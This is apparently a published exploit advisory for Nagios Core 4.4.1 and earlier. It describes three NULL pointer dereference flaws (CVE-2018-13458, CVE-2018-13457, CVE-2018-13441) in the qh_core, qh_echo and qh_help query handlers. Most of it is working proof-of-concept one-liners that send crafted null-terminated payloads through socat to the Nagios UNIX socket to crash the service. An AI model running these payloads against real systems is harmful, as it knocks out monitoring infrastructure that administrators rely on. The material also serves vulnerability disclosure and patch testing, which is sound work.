# Exploit Title: Nagios Core Multiple Local Denial of Service # Date: 2018-07-09 # Exploit Author: Fakhri Zulkifli (@d0lph1n98) # Vendor Homepage: https://www.nagios.org/ # Software Link: https://www.nagios.org/downloads/nagios-core/ # Version: 4.4.1 and earlier # Tested on: 4.4.1 qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket. 1. [CVE-2018-13458] qh_core $ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh - 2. [CVE-2018-13457] qh_echo $ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh - 3. [CVE-2018-13441] qh_help $ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh - $ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -